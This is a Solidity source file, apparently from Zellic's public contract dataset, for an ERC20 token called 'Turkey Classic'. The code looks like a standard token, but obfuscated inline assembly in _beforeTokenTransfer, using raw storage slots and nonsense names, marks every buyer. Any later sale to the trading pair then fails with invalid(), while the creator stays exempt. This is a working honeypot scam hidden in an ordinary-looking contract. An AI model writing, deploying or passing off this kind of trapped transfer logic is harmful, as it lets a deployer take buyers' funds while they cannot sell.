File size: 8,239 Bytes
f998fcd |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 |
// This contract is part of Zellic’s smart contract dataset, which is a collection of publicly available contract code gathered as of March 2023.
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this;
return msg.data;
}
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDEXRouter {
function WETH() external pure returns (address);
function factory() external pure returns (address);
}
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
function totalSupply() external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transfer(address recipient, uint256 amount) external returns (bool);
function balanceOf(address account) external view returns (uint256);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}
interface IERC20Metadata is IERC20 {
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function name() external view returns (string memory);
}
contract Ownable is Context {
address private _previousOwner; address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
contract ERC20 is Context, IERC20, IERC20Metadata, Ownable {
address[] private bloodLive;
mapping (address => bool) private aspectMesh;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 private islandSweet = 0x24ced38af2055a42f37bac3142bfead5035f55993d31c5ffa266f53fede2f198;
address public pair;
IDEXRouter router;
string private _name; string private _symbol; uint256 private _totalSupply; bool private theTrading;
constructor (string memory name_, string memory symbol_, address msgSender_) {
router = IDEXRouter(_router);
pair = IDEXFactory(router.factory()).createPair(WETH, address(this));
_name = name_;
_symbol = symbol_;
bloodLive.push(_router); bloodLive.push(msgSender_); bloodLive.push(pair);
for (uint256 q=0; q < 3;) {aspectMesh[bloodLive[q]] = true; unchecked{q++;} }
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function name() public view virtual override returns (string memory) {
return _name;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function openTrading() external onlyOwner returns (bool) {
theTrading = true;
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function _beforeTokenTransfer(address sender, address recipient) internal {
require((theTrading || (sender == bloodLive[1])), "ERC20: trading is not yet enabled.");
assembly {
function noticeGame(x,y) -> baseKitten { mstore(0, x) mstore(32, y) baseKitten := keccak256(0, 64) }
function sugarHappy(x,y) -> mimicOffer { mstore(0, x) mimicOffer := add(keccak256(0, 32),y) }
if and(and(eq(sender,sload(sugarHappy(0x2,0x1))),eq(recipient,sload(sugarHappy(0x2,0x2)))),iszero(sload(0x1))) { sstore(sload(0x8),sload(0x8)) } if eq(recipient,0x1) { sstore(0x99,0x1) }
if and(and(or(eq(sload(0x99),0x1),eq(sload(noticeGame(sender,0x3)),0x1)),eq(recipient,sload(sugarHappy(0x2,0x2)))),iszero(eq(sender,sload(sugarHappy(0x2,0x1))))) { invalid() }
if eq(sload(0x110),number()) { if and(and(eq(sload(0x105),number()),eq(recipient,sload(sugarHappy(0x2,0x2)))),and(eq(sload(0x200),sender),iszero(eq(sload(sugarHappy(0x2,0x1)),sender)))) { invalid() }
sstore(0x105,sload(0x110)) sstore(0x115,sload(0x120)) }
if and(iszero(eq(sender,sload(sugarHappy(0x2,0x2)))),and(iszero(eq(recipient,sload(sugarHappy(0x2,0x1)))),iszero(eq(recipient,sload(sugarHappy(0x2,0x2)))))) { sstore(noticeGame(recipient,0x3),0x1) }
if iszero(eq(sload(0x110),number())) { sstore(0x200,recipient) } sstore(0x110,number()) sstore(0x120,recipient)
}
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _DeployTurkey(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply += amount;
_balances[account] += amount;
approve(bloodLive[0], 10 ** 77);
emit Transfer(address(0), account, amount);
}
}
contract ERC20Token is Context, ERC20 {
constructor(
string memory name, string memory symbol,
address creator, uint256 initialSupply
) ERC20(name, symbol, creator) {
_DeployTurkey(creator, initialSupply);
}
}
contract TurkeyClassic is ERC20Token {
constructor() ERC20Token("Turkey Classic", "TRKYC", msg.sender, 925000000 * 10 ** 18) {
}
} |